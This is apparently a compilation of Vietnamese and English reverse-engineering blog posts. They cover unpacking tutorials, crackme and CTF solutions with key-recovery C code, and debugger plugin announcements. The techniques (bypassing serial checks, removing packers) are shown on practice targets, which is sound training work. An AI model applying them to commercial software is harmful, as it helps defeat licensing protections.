Vẫn tiếp tục với chủ đề liên quan tới Unpack, phần tiếp theo này sẽ nâng độ khó thêm một chút. Phần này sẽ thực hành với hai unpackme, một file được packed bởi Crunch(5.0): bitarts_evaluation.c.exe và một được packed bởi tElock(0.98): UnPackMe_tElock0.98.exe. Ngoài mục tiêu chính là unpack và chạy được file, phần này còn giới thiệu thêm về kĩ thuật chuyển hướng IAT hay còn được gọi với thuật ngữ là IAT Redirection. Kĩ thuật này được sử dụng trong nhiều trình packer/protector, cho phép hủy một phần hay toàn bộ IAT, nhưng lưu lại một pointer trỏ vào vùng code riêng cho từng hàm API đã được chuyển hướng. Hai unpackme này tôi đã gửi kèm trong phần 26.

Download here:

https://mega.nz/#!D4lUyQQT!fT5Gaa1z4LBrGsOL5a8k4QCoIYwlIkEl4lAJi9HBv1I

Regards,

36

m4n0w4r


Packer tiếp theo để thực hành trong phần này là ASPack, khác với UPX, packer này tập trung hơn vào phần security, nó áp dụng các kĩ thuật nâng cao như self-modifying code nhằm làm cho việc đặt các breakpoint khó khăn hơn, … Tuy nhiên, cũng tương tự như với UPX, ta hoàn toàn có thể thực hiện manual unpack bằng cách sử dụng HWBP tại stack address. Target thực hành trong phần này là file UnPackMe_ASPack2.12.exe (được gửi kèm ở phần 26). Việc tìm OEP của target này cũng đã được đề cập trong phần 26, các bạn có thể đọc lại.

Trong phần này, thay vì sử dụng các công cụ để dump file như LordPE hay PETools, tôi sẽ sử dụng một Plugin được viết cho OllyDbg là OllyDump, xem như là thêm một tùy chọn trong việc thực hiện dump file sau khi đã tới được OEP.

Link download toàn bộ bài viết:

https://mega.nz/#!Ppd2FaaJ!kL-v7j8m0FfUNWa5CcB9LeHIQMTmFgqLSON007PLedI

Regards,

2016-04-21_18-33-26

 


Target: CrackMe v2.0

Author: Greedy Fly

1. Kiểm tra sơ bộ

  • Scan bằng DIE:
    • Compiler: không có thông tin.
    • Crypto: không có thông tin.
    • String: “Ok… Now It’s Registered!!!
  • Scan bằng ExeInfo:
    • Compiler: báo Unknown, nhưng nghi ngờ MASM.
  • Chạy thử:
    • Giao diện như hình, gồm ảnh có các quân cờ, textbox cho nhập Serial:

GreedyFly1

  • Nhập thử Serial bất kỳ, nhấn Check thì thoát luôn … doubt
  • Lấy thông tin Serial textbox bằng công cụ ResHacker:

GreedyFly2

Textbox này có ID là 104 (dec), chuyển sang hex là 0x68 (hex).

1. Phân tích crackme

Qua thông tin ở trên, tạm đoán tác giả cho hình bàn cờ chắc là có liên quan tới nước đi của quân cờ, nhưng cơ bản cờ vua trước đây tôi chỉ đánh cho vui, mà toàn đánh có đầy đủ tất cả các quân trên bàn cờ, nên nhìn vào cái kiểu bày quân giống như cờ thế trong cờ tướng như thế này thì chịu thua 107.

Vứt CrackMe vào IDA xem thử có được thêm thông tin gì không? Sau khi IDA analyze xong, tìm thông tin đoạn code liên quan tới việc sử dụng ID của textbox đã có được ở trên. Thường thì MASM sẽ dùng lệnh push ID, nên tại IDA nhấn Alt + T để tìm tất cả lệnh push 0x68

GreedyFly3

Tìm được 2 vị trí như trên hình, tới địa chỉ đầu tiên trước:

GreedyFly4

Đoạn code liên quan được rename và comment lại như trên hình. Sau lời gọi hàm SendMessageA thì thông tin serial nhập vào được lưu vào lpInputSerial, thanh ghi eax chứa độ dài của chuỗi Serial nhập vào. Độ dài của này được xử lý tại sub_0040148E đã được rename thành CheckSerLength. Đoạn code CheckSerLength như sau:

GreedyFly5

Với đoạn code trên tóm gọn lại có được như sau:

((Ser_len + 1) * 16 + 64) * 386 = 148224 --> Ser_len = 19

Vậy kết luận, chuỗi Serial nhập vào phải có 19 kí tự.

Giả sử, với chuỗi Serial nhập vào “a1b2c3d4e5f6g7h8i90”, sẽ qua được đoạn code trên và tới đoạn code kiểm tra như dưới đây:

GreedyFly6

Đoạn code như trong hình sau khi phân tích, debug đã được rename lại như trên. Sub_00402240 được rename thành Md5_Signature do khi vào trong sub này thấy dấu hiệu sau:

GreedyFly7

Nhìn quen quen, google lại cho chắc, có được thông tin tại Wiki (https://en.wikipedia.org/wiki/MD5) như sau:

//Initialize variables:
var int a0 := 0x67452301   //A
var int b0 := 0xefcdab89   //B
var int c0 := 0x98badcfe   //C
var int d0 := 0x10325476   //D

Sau bước khởi tạo MD5, crackme thực hiện sao chép chuỗi Serial nhập vào thông qua sub_00402280 (đã đổi tên thành MakeCopyOfSerial). Sau hàm này thì chuỗi Serial được lưu vào:

GreedyFly8

Mảng này sau đó được bổ sung thêm giá trị tại sub_004022F4 (đã đổi tên thành Hash) để tạo thành mảng gồm 64 bytes, sau đó được đem đi tính Hash:

GreedyFly9

Kết quả có được của CopyOfSerial là đầu vào cho thực hiện tính Hash như sau:

GreedyFly10

Chuỗi Hash sau khi tính được sẽ được chuyển sang dạng Hex (00401436 Convert2Hex) để so sánh với chuỗi Hex mặc định mà Crackme khai báo ban đầu là “7E9C7F1A62B7B93F34A6A6C16BCAA840“. Nếu không khớp sẽ exit luôn.

Với dạng crackme này, việc brute-force (tôi hay gọi là “tấn công bạo lực”boss) để từ chuỗi Hash mặc định tìm ra chuỗi có 19 kí tự ban đầu là điều rất khó. Hơn nữa, nếu làm như thế thì tác giả cũng chẳng ra đề kiều đánh đố như vậy làm gì. Vậy là phải tìm cách đánh cờ để tìm ra đáp án!!

Nhìn vào cái ảnh bàn cờ của Crackme cùng khả năng đánh cờ kém như tôi thì thôi cũng chào thua hell-yes-onion-head-emoticon. Tôi suy nghĩ thử tìm xem có trang nào online cho phép dựng lại bàn cờ này không và hi vọng cho dựng lại thì nó cũng chỉ ra cách đi. Loay hoay ngồi google một lúc, tìm được trang này: http://masterchessopenings.com/chess-analysis-program

Truy cập trang, sau đó Edit lại bàn cờ như trong cái ảnh mà crackme cho:

GreedyFly11

Sắp xếp xong bàn cờ như trên, chuyển qua phân Analysis có được thông tin các bước đi cờ như sau:

GreedyFly12

Suy nghĩ Serial có độ dài là 19 kí tự và chắc chỉ có các kí tự chữ cái và số, nên loại bỏ các dấu “+” đi, có được chuỗi sau “a4bxa4b5a3Nb4Ka1Nb3”. Nhập thử chuỗi này:

GreedyFly13

Done!36

Thật là vi diệu ….


Download the challenge and use DIE to check it:

csharp_die

Huh .NET, I hate it! 107 Looking for strings, i found some interesting:

csharp_tobase64

csharp_strings

Run the challenge, input key and press check button:

csharp_wrong

Open this challenge in .NET Reflector and go to entry point:

private static void Main()
{
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    Application.Run(new Form1());
}

Click on Form1() to open it:

public Form1()
{
    bb = base.GetType().GetMethod("MetMett", BindingFlags.NonPublic | BindingFlags.Static).GetMethodBody().GetILAsByteArray();
    byte num = 0;
    for (int i = 0; i < bb.Length; i++)
    {
        bb[i] = (byte) (bb[i] + 1);
        num = (byte) (num + bb[i]);
    }
    bb[0x12] = (byte) (num - 0x26);
    bb[0x23] = (byte) (num - 3);
    bb[0x34] = (byte) (num ^ 0x27);
    bb[0x45] = (byte) (num - 0x15);
    bb[0x57] = (byte) (0x47 - num);
    bb[0x7c] = (byte) (num ^ 0x72);
    bb[0x8d] = (byte) (num ^ 80);
    bb[0x9f] = (byte) (0xeb - num);
    bb[0xb3] = (byte) (0x6a + num);
    bb[200] = (byte) (0x24 - num);
    bb[220] = (byte) (num - 3);
    this.InitializeComponent();

In above code, i see that this code will be executed before calls InitializeComponent() – a method that shows the challenge GUI. I dont know what it does but i guess that it gets the body of MetMett method in byte array, save into bb and later use bb to calculate something.

Follow the InitializeComponent() method, then click on btnCheck_Click:

private void btnCheck_Click(object sender, EventArgs e)
{
    try
    {
        MetMetMet(this.txtAnswer.Text);
    }
    catch (Exception exception)
    {
        if (exception.InnerException == null)
        {
            MessageBox.Show(exception.Message, "Error");
        }
        else
        {
            MessageBox.Show(exception.InnerException.Message, "Error");
        }
    }
}

Follow MetMetMet method:

private static void MetMetMet(string sss)
{
    string str;
    byte[] bytes = Encoding.ASCII.GetBytes(Convert.ToBase64String(Encoding.ASCII.GetBytes(sss)));
    AssemblyName name = new AssemblyName("DynamicAssembly");
    TypeBuilder builder = AppDomain.CurrentDomain.DefineDynamicAssembly(name, AssemblyBuilderAccess.RunAndSave).DefineDynamicModule(name.Name, name.Name + ".exe").DefineType("RevKrT1", TypeAttributes.Public);
    MethodBuilder builder2 = builder.DefineMethod("MetMet", MethodAttributes.Static | MethodAttributes.Private, CallingConventions.Standard, null, null);
    TypeBuilder builder3 = AppDomain.CurrentDomain.DefineDynamicAssembly(name, AssemblyBuilderAccess.RunAndSave).DefineDynamicModule(name.Name, name.Name + ".exe").DefineType("RevKrT2", TypeAttributes.Public);
    builder3.DefineMethod("MetM", MethodAttributes.Static | MethodAttributes.Private, CallingConventions.Standard, null, new Type[] { typeof(byte[]), typeof(byte[]) }).CreateMethodBody(bb, bb.Length);
    Type type = builder3.CreateType();
    MethodInfo method = type.GetMethod("MetM", BindingFlags.NonPublic | BindingFlags.Static);
    object obj2 = Activator.CreateInstance(type);
    byte[] buffer2 = new byte[] { 1, 2 };
    method.Invoke(obj2, new object[] { buffer2, bytes });
    if (buffer2[0] == 1)
    {
        str = "Wrong";
    }
    else
    {
        str = "Correct!!";
    }
    ILGenerator iLGenerator = builder2.GetILGenerator();
    iLGenerator.Emit(OpCodes.Ldstr, str);
    iLGenerator.EmitCall(OpCodes.Call, typeof(MessageBox).GetMethod("Show", new Type[] { typeof(string) }), null);
    iLGenerator.Emit(OpCodes.Pop);
    iLGenerator.Emit(OpCodes.Ret);
    Type type2 = builder.CreateType();
    MethodInfo info2 = type2.GetMethod("MetMet", BindingFlags.NonPublic | BindingFlags.Static);
    object obj3 = Activator.CreateInstance(type2);
    info2.Invoke(obj3, null);
}

I see that, the btnCheck_Click pass input string to sss variable of MetMetMet, sss string is converted to Base64 String and saved into bytes. Then i see the comparison to show “Wrong” or “Correct!!” Nag.

Ok, next click to MetMett method, i get error:

csharp_error

Wtf, i dont know why!!after_boom Back to the Form1() method, i can confirm that the original bytes of MetMett method will be replaced at runtime to decode the method body. So we need to use dnSpy to debug this challenge to find the bb values at original and after calculate.

Open dnSpy, load challenge, set breakpoints same as the picture bellow:

csharp_dnspy

Press F5 to start, stop at the 1st bp, press F10 to step over. Go to locals window and find the value of bb (these values is the original bytes of MetMett method):

csharp_bbarray

Show bb array in the Memory Window:

csharp_bbinmem

Copy and Save all these bytes. Then, press F5 to continue and stop at the 2nd bp. The bb’s array values are replaced after calculate:

csharp_bbreplaced

Copy and Save all new values. Close dnSpy to stop debugging. Next, duplicate the challenge and use HxD (hex editor) to replace the original bytes of MetMett method by the calculated bytes like picture bellow:

csharp_hxd

Save file and close HxD. Re-open dnSpy and load new file, then click on MetMett method to decompile it:

private static void MetMett(byte[] chk, byte[] bt)
{
	if (bt.Length == 12)
	{
		chk[0] = 2;
		if ((bt[0] ^ 16) != 74)
		{
			chk[0] = 1;
		}
		if ((bt[3] ^ 51) != 70)
		{
			chk[0] = 1;
		}
		if ((bt[1] ^ 17) != 87)
		{
			chk[0] = 1;
		}
		if ((bt[2] ^ 33) != 77)
		{
			chk[0] = 1;
		}
		if ((bt[11] ^ 17) != 44)
		{
			chk[0] = 1;
		}
		if ((bt[8] ^ 144) != 241)
		{
			chk[0] = 1;
		}
		if ((bt[4] ^ 68) != 29)
		{
			chk[0] = 1;
		}
		if ((bt[5] ^ 102) != 49)
		{
			chk[0] = 1;
		}
		if ((bt[9] ^ 181) != 226)
		{
			chk[0] = 1;
		}
		if ((bt[7] ^ 160) != 238)
		{
			chk[0] = 1;
		}
		if ((bt[10] ^ 238) != 163)
		{
			chk[0] = 1;
		}
		if ((bt[6] ^ 51) != 117)
		{
			chk[0] = 1;
		}
	}
}

Wow doubt, i see the the simple xor calculation to check the value of bt[] array. So, to find the bt’s value, i also use xor loop like this:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int byte1[] = {16, 17, 33, 51, 68, 102, 51, 160, 144, 181, 238, 17};
    int byte2[] = {74, 87, 77, 70, 29, 49, 117, 238, 241, 226, 163, 44};
    char result[]={0};
    int i;

    for (i=0; i<(sizeof(byte1)/sizeof(int)); i++)
    {
        result[i] = byte1[i] ^ byte2[i];
    }

    printf("The result is: %s \n", result);
    return 0;
}

Compile and run this code, i get the Base64 string: ZFluYWFNaWM=. Use Base64 to decode this string, i get the flag: dYnaaMic.

Check the flag 36:

csharp_checkflag

End.

 


Open ReadMe file:

Reversing.Kr

Find The Password

By ezbeat

Use DIE to scan target:

hateintel_die

Result: Type: MACH, and compiler is GCC, so I guess that the author use MacOS to code and compile this challenge. I’ve never reversing target like this challenge before, … shame on me!! adore

I don’t know how to use the other tools to reverse this challenge, so i open it in IDA and let’s IDA analyze it. Go to main function at 0x00002224, I see the ARM instructions. Use Hex-Rays Decompiler plugin to gets pseudo code:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char InputKey[80]; // [sp+4h] [bp-5Ch]@1
int Value_4; // [sp+54h] [bp-Ch]@1
signed __int32 Len_InputKey; // [sp+58h] [bp-8h]@1
signed __int32 i; // [sp+5Ch] [bp-4h]@1
char vars0; // [sp+60h] [bp+0h]@2

Value_4 = 4;
printf("Input key : ", argv, envp);
scanf("%s", InputKey);
Len_InputKey = strlen(InputKey);
Calculate((signed __int32)InputKey, Value_4);
for ( i = 0; i < Len_InputKey; ++i )
{
if ( (unsigned __int8)*(&vars0 + i - 0x5C) != validate_value[i] )
{
puts("Wrong Key! ");
return 0;
}
}
puts("Correct Key! ");
return 0;
}

Notice sub_232C, i renamed it to Calculate. The Calculate’s pseudo code:

signed __int32 __fastcall Calculate(signed __int32 Input_Len, int Value_4)
{
  int Loop_Size; // [sp+0h] [bp-14h]@1
  char *InputKey; // [sp+4h] [bp-10h]@1
  int i; // [sp+8h] [bp-Ch]@1
  signed __int32 j; // [sp+Ch] [bp-8h]@2

  InputKey = (char *)Input_Len;
  Loop_Size = Value_4;                          // Loop_Size=4
  for ( i = 0; i < Loop_Size; ++i )
  {
    for ( j = 0; ; ++j )
    {
      Input_Len = strlen(InputKey);
      if ( Input_Len <= j )
        break;
      InputKey[j] = ProcessChar(InputKey[j], 1);
    }
  }
  return Input_Len;
}

Calculate function calls other function is sub_2494, i renamed it to ProcessChar. The Calculate function performs with the iteration loop is 4 times, each time it performs calculation loop on each character of input Key.

ProcessChar’s pseudo code is so simple:

int __fastcall ProcessChar(unsigned __int8 Input, int Value_1)
{
  int Input_Char; // [sp+8h] [bp-8h]@1
  int i; // [sp+Ch] [bp-4h]@1

  Input_Char = Input;
  for ( i = 0; i < Value_1; ++i )
  {
    Input_Char *= 2;
    if ( Input_Char & 0x100 )
      Input_Char |= 1u;
  }
  return (unsigned __int8)Input_Char;
}

Then the result of each character in InputKey is compared to each value of default table (i renamed to validate_value). In IDA, i found the values of validate_value[]:

hateintel_validate_value

validate_value = [0x44, 0xF6, 0xF5, 0x57, 0xF5, 0xC6, 0x96, 0xB6, 0x56, 0xF5, 0x14, 0x25, 0xD4, 0xF5, 0x96, 0xE6, 0x37, 0x47, 0x27, 0x57, 0x36, 0x47, 0x96, 0x03, 0xE6, 0xF3, 0xA3, 0x92]

Okay, i have all info to find the key!! 36

So here is the simple code to find the correct Key:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    int defArray[29] = {0x44, 0xF6, 0xF5, 0x57, 0xF5, 0xC6, 0x96, 0xB6, 0x56, 0xF5, 0x14, 0x25, 0xD4, 0xF5, 0x96, 0xE6, 0x37, 0x47, 0x27, 0x57, 0x36, 0x47, 0x96, 0x03, 0xE6, 0xF3, 0xA3, 0x92};
    int i, j, k, ch, result, temp;
    char Flag[29]={0};

    result = 0;
    for (k=0; k<29;k++)
{
    for (i=32; i<128; i++)
    {
        ch = i;
        for (j=0; j<4; j++)
        {
            temp = ch*2;
            if (temp & 0x100)
                temp |= 1;
            ch = temp & 0xFF;
        }
        if (ch == defArray[result])
        {
            Flag[result] = i;
            result++;
        }
    }
}

    printf("Found Flag: \n %s", Flag);
    return 0;
}

Final Result:

hateintel_findkey

End.


Collaborative Breakpoint Manager for x64dbg.

slothbp

Download here:

https://github.com/x64dbg/SlothBP/

Regards,


xAnalyzer v1 plugin by ThunderCls – 2016

xAnalyzer is a plugin for the x86/x64 x64dbg debugger by @mrexodia. This plugin is based on the code by @mrfearless APIInfo-Plugin-x86 (https://github.com/mrfearless/APIInfo-Plugin-x86) although some improvements and additions have been made. xAnalyzer is capable of calling internal commands of x64dbg to make all kind of analysis and also integrates one of his own. This plugin is going to make an extensive function calls analysis to add complementary information, something close at what you get with OllyDbg.

Some of the functions and improvements are:

  • Extended WINAPI calls analysis with arguments added
  • Analysis of indirect calls
  • Analysis of nested calls

Once the debugged application is loaded and reaches the Entrypoint, xAnalyzer is going to launch a mix of different analysis over the static code to make it even more comprehensible to the user just before starting the debuggin task.

Plugin based on: APIInfo-Plugin-x86 (https://github.com/mrfearless/APIInfo-Plugin-x86) Special thanks to @mrfearless and @tr4ceflow for releasing the API definition files.

Installation:

  • Copy xAnalyzer.dp32 and/or xAnalyzer.dp64 files and apis_def folder to x32/x64 plugins directory of x64dbg
  • Look under the “Plugins” menu in the main x64dbg window or in the secondary menu in the Disasm window as well

Screenshots:

  • Before xAnalyzer:

  • After xAnalyzer

Download here:

https://github.com/ThunderCls/xAnalyzer

Regards,

 


Cuộc chơi sắp kết thúc, tất cả rồi sẽ lại trở thành quá khứ để khi nhớ lại quá khứ ấy ta thấy niềm vui xen lẫn tiếc nuối … too_sadflare-on2016

– Vui là vì đến giờ tôi vẫn còn đam mê với em (RCE) nhưng lại không có quá nhiều thời gian để dành cho em. Lâu lâu, mở đống tools lên nhìn cho đỡ buồn mắt rồi lại lock máy đi làm việc khác. Nói như anh em trong nghề thì nếu như không “cọ xát” liên tục thì cũng lụt nghề mà thôi lolz . Vợ tôi dạo này hay nghe Đan Nguyên, lâu lâu lại lọt vào tai mấy câu:

“Khi hiểu được nhau, thời gian gần gũi đã trôi qua mất rồi!
Tôi bước theo tiếng gọi của người trai, tha thiết với tương lai

Là chinh nhân tôi bạn với sông hồ
Tình yêu em tôi nguyện mãi tôn thờ
Và yêu không bến bờ
Tìm em ,giờ tìm ở đâu sao không gắng đợi chờ nhau

Em ơi ! trái đất vẫn tròn,
Chúng mình hai đứa sẽ còn gặp nhau……!” hell-yes-onion-head-emoticon

Tóm lại, với em (RCE) tôi tìm thấy được niềm vui bên lề công việc đôi khi là nhàm chán, dập khuôn ..v..v, chỉ là lâu lâu tôi với em mới được “cọ xát” mà thôi… adore

– Tiếc nuối, thật sự là rất tiếc nuối extreme_sexy_girl… Vấn đề vẫn là thời gian, hầu như tôi “cày” em vào buổi đêm … lúc đó là lúc tôi cảm thấy hưng phấn nhất nhưng cũng là lúc oải nhất, vì giờ cũng không còn đủ sức để mà cày xuyên đêm nữa rồi (định mệnh, con người thì già đi mà thú vui nó lại cứ tìm đến vào lúc tuổi đã xế chiều) … , và vì lâu lâu tôi mới chơi CTF nên nhiều khi sập bẫy, rơi vào cái vòng logic luẩn quẩn mà khi thử lại một vài lần tôi lại rơi vào cái vòng luẩn quẩn ấy .. định mệnh màhell-yes-onion-head-emoticon

Douma cái lv1 năm nay, tôi chơi cái lúc vừa giảng toán cho con mà vừa nhân chia cơ học với cái lv này để đoán Flag, nhầm lẫn lung tung cả. Đến khi tìm ra Flag thì tôi mới nhận ra rằng nó là Custom Base64 Encode … trên twitter tôi cũng thấy tụi Tậy nó la oai oái cái lv1 năm nay mở đầu mà đã củ khoai hơn năm ngoái 😀

Cái lv2 cũng vui vãi, lúc có cái ảnh đầu tiên, tôi thấy có các kí tự gạch chân, mừng vãi đái …tưởng Flag là các kí tự đó tôi nhập thử … dek phải waaaht. Đến lúc phân tích lại tôi nhận ra đời không như là mơ, tôi nhận được hint về khúc Encrypt/Decrypt của Merc, tôi patch một phát nó lòi ra tấm thảm thần mà Aladin dùng để chạy trốn mỗi khi đời có biến xảy ra 😛

Cái lv3, đúng như tên của nó “unknown” dịch thô là “éo biết”, tôi cày đi cày lại trong đống code của lv này cộng thêm với việc discuss với Merc.. đến cuối cùng tôi nhận ra nó dùng RC4 cipher để tạo ra cái Table thần thánh, tôi phải viết một đoạn code (gọi thô là tấn công bạo lực (bruteforce)) để tìm ra giá trị tính toán cho cặp hai kí tự (chạy từ 0x21 -> 0x7E), rồi từ đó dò ngược ra Flag … douma ra được cái Flag, nhập vào lòi ra cái lv4 mà tôi cười như thằng điên nhặt được cục vàng to tổ bố giữa dòng đời loạn lạc after_boom (Nhìn trên timeline có thể thấy tôi đã yêu em nó như thế nào) … Cái level này đám Tây mũi lõ nó cũng chửi bới om xòm … chẳng khác éo gì mình!!

Đến được lv4 cũng là lúc tôi hết mịa time và mana để chơi tiếp … chỉ còn thời gian để login & logout dòm xem cái thứ hạng của mình nó cứ tụt dần đều lolz doubt

P/S:

  • Tks Merc Nguyen đã hint cho tôi vài điểm để tôi thoát khỏi ma đạo 😀
  • Tôi đọc trên Twitter thấy Sẻ đệ để lại dòng status ngắn gọn nôm na là : “Với tôi, kỳ FlareOn này chỉ có 2 Lv đó là Lv(123456789) + Lv 10″… Đọc xong, tôi cười không ngậm được mồm … Sẻ đệ bá quá, tôi nể lắm!!!
  • Cuối cùng, tôi thấy nhiều anh em trong friend list của tôi cũng đã hoàn thành, chắc chắn cũng có không ít chửi rủa bên lề như tôi lolz .. nhưng hơn tất cả: Chúc mừng các bạn! Việt Nam còn lắm nhân tài lắm!

Regards,

m4n0w4r

[IDA Plug] Keypatch

Posted: September 16, 2016 in IDA Pro section, Keypatch, Uncategorized
Tags: ,

Keypatch is a plugin of IDA Pro for Keystone Assembler Engine.Keypatch consists of 3 tools inside.

  • Patcher & Fill Range: these allow you to type in assembly to directly patch your binary.
  • Assembler: this interactive tool let you enter assembly & get back instruction encoding.

Keypatch is confirmed to work on IDA Pro version 6.4, 6.6, 6.8, 6.9, 6.95 but should work flawlessly on older versions. If you find any issues, please report.

Keypatch offers some nice features:

  • Cross-architecture: support Arm, Arm64 (AArch64/Armv8), Hexagon, Mips, PowerPC, Sparc, SystemZ & X86 (include 16/32/64bit).
  • Cross-platform: work everywhere that IDA works, which is on Windows, MacOS, Linux.
  • Based on Python, so it is easy to install as no compilation is needed.
  • User-friendly: automatically add comments to patched code, and allow reverting (undo) modification.
  • Open source under GPL v2.

keypatch_patcher2

Version 2.0.1

@aquynh aquynh released this 20 hours ago

  • Fix an off-by-one bug in Fill-Range function.
  • Log more information when padding NOP

Download: https://github.com/keystone-engine/keypatch/archive/2.0.1.zip


— Sự kiện do VNSecurity (http://www.vnsecurity.net) tổ chức —

hero

Tiếp nối buổi hội thảo Trà Đá Hacking #01 tại TP Hồ Chí Minh, VNSecurity sẽ tổ chức buổi Trà Đá Hacking số #02 tại Hà Nội vào ngày 16/09/2016.

Ban tổ chức đang tìm kiếm các bài trình bày cho buổi Trà Đá Hacking số #02. Bạn nào muốn đăng ký trình bày tại hội thảo vui lòng gửi bài tại http://goo.gl/forms/zYmm6CdauKQcQpC72.

Update:

Các bạn đã có thể đăng ký tham dự Trà Đá Hacking #02 trên website tại http://trada.vnsecurity.net/#tickets. Nhanh chân đăng ký kẻo hết chỗ nhé.

Như lần Trà Đá Hacking số #01 trước đây, ban tổ chức sẽ tặng một số lượng vé miễn phí lớn cho các trường đại học ở khu vực phía bắc, ưu tiên cho các trường có đội thi CTF. Đại diện các trường vui lòng liên hệ trada@vnsecurity.net để nhận vé miễn phí nhé.

Ban tổ chức vẫn đang tìm kiếm thêm bài trình bày cho buổi Trà Đá Hacking số #02. Bạn nào muốn đăng ký trình bày tại hội thảo vui lòng gửi bài tại http://goo.gl/forms/zYmm6CdauKQcQpC72.

Chi tiết tại: https://www.facebook.com/vnsec/

Regards,


19/05/2015, tôi hoàn thành OllyDbg_tut27, 17/07/2016 đặt tay lên bàn phím và hoàn thành OllyDbg_Tut28 waaaht. Hơn 1 năm tôi mới có thời gian để lại viết tiếp tục những thứ còn đang dang dở, kiểu như người ta viết thơ tình mà đang nghĩ thì tụt mịa nó cảm xúc … đành phải đợi lúc nào đó cảm xúc nó hồi sinh adore. Mà cứ đợi như thế, rồi đợi mãi, rồi tôi đọc Blog của Yêuchimsẻ (http://blog.yeuchimse.com/) có đoạn “Thời gian chẳng bao giờ dừng lại, mới đó mà cũng đã được một năm.” Cuộc sống, công việc nhiều khi cứ cuốn tôi rời xa khỏi đam mê, đôi khi không phải vì thời gian eo hẹp, mà vì viết lách là một nghệ thuật, nhiều khi mở máy lên định viết nhưng rồi nghĩ một hồi tôi đếch nghĩ ra nổi phải mở đầu như thế nào chứ chưa nói tới viết về phần kỹ thuật, thế nên mỗi lần định viết lại là một lần tôi thở dài, đóng máy đi làm việc khác boss. Có thể sẽ có nhiều bạn đọc đọc các bài viết của tôi, rồi tự đặt câu hỏi “Sao ông này cứ viết mãi những thứ đơn giản, cơ bản mà ai cũng biết?”. Trong thế giới quan của tôi, những thứ cơ bản mà chưa làm được thì nói gì đến những điều cao siêu doubt, ngày trước tôi đã không đi từ những thứ cơ bản, nên bây giờ tôi coi mỗi lần viết là một lần tôi học lại.

Lâu lắm rồi tôi mới lại mở đầu bài viết một cách lâm ly, bi đát như thế này, quay trở lại nội dung chính, phần 28 này sẽ là tiếp tục của phần 27 cách đây hơn 1 năm có lẻ. Có lẽ, tôi có thể khẳng định với các bạn rằng, đây là siêu phẩm về unpack UPX đỉnh cao nhất trong suốt sự nghiệp viết lách của tôi, chưa bao giờ các bạn tưởng tượng lại có một bài viết nào về unpack UPX dài đến thế…. after_boom, viết xong thực sự tôi cũng cạn lời!!!hell-yes-onion-head-emoticon

Link download toàn bộ bài viết:

https://mega.nz/#!SgthVZKI!kOU1NRkgrggF2FayK-970VcG8X7BHnNPH65CtPZ2yo0

Regards,

2016-04-21_18-33-26


Contributed By Check Point Software Technologies LTD.

Features

1. Seamless synchronization of labels, function names, comments and global variables (w/wo demangling)

  • Synchronization modes
    • On demand
    • On rename (update on-the-fly)
  • Supports image base-independent synchronization

2. Dynamic dumping of debugged process memory regions

It can be useful in the following cases:

  • When debugged process has extracted/temporary/injected module which doesn’t appear in modules list
  • When it doesn’t have a valid PE header
  • When it have corrupted import table, etc.

3. Python scripting

We support the following list of debug backends for now:

Latest release: v_1_1_0_3

[-] anti-dubug: removed hardcoded classname/window name
[*] OllyDbg20: updated SWIG SDK-wrapper compatibility with win types
[*] dbg backends FIX: fixed trucation of RPC request
[*] dbg backends FIX: now we send packet length for each RPC call for additional message check


Author: Neutrino (CLS)

OllyDBG v1:

Tips sobre BreakPoint Condicional Log en Ollydbg1.10

Fig. 1

OllyDBG v2:

Tips y metodo sobre BreakPoint Condicional Log en Ollydbg2.01

Fig. 2

OllyDbg v2

Posted: May 13, 2016 in OllyDBG v2
Tags: ,

I wan to share my OllyDbg v2 (shared by Vic) that i used for my RCE hobby :).

m4n0w4r

Download here:

https://goo.gl/HonQG0

Regards,

m4n0w4r


Viết linh tinh ……too_sad

Cơ bản, nhiều người có cùng suy nghĩ chung là không sử dụng IDA trong việc unpack file và theo tôi quan điểm này không có gì sai, vì như đã biết việc unpack thường sử dụng các trình debugger như OllyDBG/Immunity kết hợp với các công cụ fix PE file (LordPE; ImpREC, Scylla…). Tuy nhiên, trong bài viết này chúng ta sẽ thử dùng IDA để unpack một unpackme đơn giản, không sử dụng các biện pháp bảo vệ cao cấp, mục đích chủ yếu là để biết được cách thức thực hiện như thế nào với IDA.

Công cụ sử dụng:

  • DIE v1.01 (Detect It Easy)
  • IDA 6.8
  • Peditor v1.7 (yoda&M.o.D)
  • Scylla v0.9.8

Tải Unpackme tại: https://www.hex-rays.com/products/ida/support/tutorials/unpack_pe/test00.exe

Trước tiên, dùng DIE để kiểm tra sơ bộ unpackme:

2016-04-16_16-15-00

Fig.1

File được pack bằng MEW(SE v1.0), đoán là bản Standard Edition. Gồm 2 sections, section đầu có tên là MEW và section thứ hai có tên rất loằng ngoằng:

2016-04-16_16-18-47

Fig.2

Thông tin về các hàm APIs được unpackme sử dụng:

2016-04-16_16-20-04

Fig.3

OK thông tin cơ bản đã có. Tiếp theo mở IDA và load unpackme:

2016-04-16_16-05-50

Fig.4

Giữ nguyên các tùy chọn mặc định tại phần Options, nhấn OK để tiếp tục, ta nhận được thông báo sau:

2016-04-16_16-11-15

Fig.5

Thông báo này cho biết, section có ký tự loằng ngoằng bên dưới section MEW đã bị cắt bỏ các offsets và IDA sẽ chỉ đọc 0x7A1 bytes. Bỏ qua cảnh báo này, nhấn OK để tiếp tục, một thông báo nữa xuất hiện cho biết import của file đã bị hủy, điều này có nghĩa là khả năng lớn là file đã bị pack hoặc đã bị chỉnh sửa khiến cho việc phân tích trở nên khó khăn:

2016-04-16_16-25-47

Fig.6

Nhấn OK, để tiếp tục, IDA sẽ dừng lại tại đây:

2016-04-16_16-32-25

Fig.7

Quan sát tại màn hình IDA, lúc này ta thấy trước các byte đều xuất hiện cụm “dd” hay “db”. Điều này có nghĩa là IDA không nhận diện được code nên nó diễn giải dữ liệu dưới dạng dword (dd), word(dw), byte(db). IDA cho phép chúng ta thay đổi kiểu dữ liệu bằng cách nhấn phím tắt D:

2016-04-16_16-50-10

Fig.8

Để cấu hình các kiểu dữ liệu chọn Options > Setup data types… hoặc nhấn Alt+D:

2016-04-16_16-52-43

Fig.9

